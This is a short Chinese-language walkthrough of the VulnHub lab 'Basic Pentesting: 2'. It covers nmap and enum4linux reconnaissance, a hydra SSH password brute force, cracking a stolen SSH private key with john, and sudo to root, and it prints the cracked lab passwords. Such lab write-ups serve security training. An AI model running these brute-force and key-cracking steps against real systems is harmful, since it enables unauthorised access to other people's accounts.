basic_pentesting_2靶机

靶机地址：Basic Pentesting: 2 ~ VulnHub

攻击机kali和靶机要设在同一网段，查看靶机MAC地址：

一、信息收集

扫描目标主机

arp-scan -l

使用nmap扫描靶机开放的端口：

nmap -A -sS -sV -v -p- 192.168.7.127

浏览器访问80端口：

知道系统是Linux的Ubuntu系统，使用如下命令，来收集靶场系统的用户信息，发现靶场的两个用户，kay和jan

enum4linux 192.168.7.127

尝试使用Hydra九头蛇，使用字典“rockyou.txt”来爆破一下jan用户的密码，输入以下命令，得到密码：armando

hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.7.127 ssh

尝试进行ssh登录：

发现jan是普通用户，不能使用sudo命令

查看其它目录，再家目录下发现jan和kay两个目录

cd /home
ls -al

在/kay目录下有个pass.bak文件但是无法在jan账户下查看，被拒绝；

来到/home/kay/.ssh目录下，发现有ssh的公钥和私钥信息

将看到的私钥信息复制下来，在kali攻击机中，创建一个名字为key的文件保存私钥信息，之后使用如下命令，将密钥信息，转化为HASH信息；

python /usr/share/john/ssh2john.py key > ssh_login

然后使用命令john ssh_login，破解私钥信息，获得kay账号的密码信息：beeswax

二、SSH连接

输入如下命令，将私钥文件设置为可以使用的权限

chmod 700 key

接着尝试使用该密钥登录到用户 kay，登录成功

ssh -i key kay@192.168.7.127

输入命令ls -al，再次看到passwd.bak文件，这次可以使用cat命令查看了，发现是密码：heresareallystrongpasswordthatfollowsthepasswordpolicy$$

三、权限提升

输入命令，sudo -l，输入密码，成功显示权限信息

输入sudo su

提权成功！

成功查看flag.txt文件......